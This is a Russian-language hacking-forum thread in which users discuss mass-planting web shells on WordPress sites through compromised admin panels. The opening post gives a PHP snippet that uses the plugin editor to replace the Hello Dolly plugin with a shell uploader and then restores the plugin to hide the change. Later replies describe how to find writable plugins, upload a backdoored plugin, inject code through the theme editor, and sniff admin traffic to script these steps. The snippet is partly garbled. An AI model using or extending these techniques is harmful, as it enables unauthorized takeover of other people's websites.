
01.08.2022, 13:11
|
|
Новичок
Регистрация: 18.07.2022
Сообщений: 5
С нами:
2014166
Репутация:
0
|
|
Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию
PHP код:
$hello_edit='http://'.$path.'/wp-admin/plugin-editor.php?file=hello.php'
$hello_path=]'http://'.$path.'/wp-content/plugins/hello.php';
$plugin_editor='http://'.$path.'/wp-admin/plugin-editor.php';
$response=curlPostCookies($hello_edit,'',$cookies);
$data=extractFormData($response);
//var_dump($data);
//var_dump($code);
//exit();
$code=urlencode($code);
$response=curlPostCookies($plugin_editor,$data.'&newcontent='.$code, $cookies);
$response=curlGet($hello_path);
//var_dump($response);
preg_match('~url:(.+)~', $response,$matches);
$url=$matches[1];
/echo $url;
$response=curlPostCookies($hello_edit,'',$cookies);
$data=extractFormData($response);
]$response=curlPostCookies($hello_edit[COLOR="#007700"],$data.'&newcontent='.urlencode($hello_dolly_text),$cookies);
if($url)
return$url;
return false;
Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?
|
|
|

05.08.2022, 10:14
|
|
Участник форума
Регистрация: 14.04.2007
Сообщений: 197
С нами:
10039659
Репутация:
209
|
|
Ничего не понятно .. А где функции curlPostCookies, curlGet, extractFormData?
Код:
$response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies );
А откуда взялся $hello_dolly_text ?
$cookies тоже где-то потерялись ))
Странно что этот код вообще что-то заливал
|
|
|

05.08.2022, 21:13
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами:
11278406
Репутация:
818
|
|
Сообщение от 1NtR0
↑
Странно что этот код вообще что-то заливал
Сообщение от Storks
↑
вот ключевой кусок который показывает концепцию
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
|
|
|

05.08.2022, 22:14
|
|
Новичок
Регистрация: 18.07.2022
Сообщений: 5
С нами:
2014166
Репутация:
0
|
|
Сообщение от b3
↑
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
Звучит как хороший план. А можно примеры с эксплойтом или кодом на?:
- проверку плагинов на записб
- загрузку своего плагина
- инжект через редактор тем
Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.
|
|
|

08.08.2022, 16:19
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами:
11278406
Репутация:
818
|
|
Сообщение от Storks
↑
А можно примеры с эксплойтом или кодом
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
|
|
|

09.08.2022, 13:18
|
|
Новичок
Регистрация: 18.07.2022
Сообщений: 5
С нами:
2014166
Репутация:
0
|
|
Сообщение от b3
↑
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
спасибо, попробую.
Если кто-то подкинет еще идей или рабочий код будет тоже очень мило
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|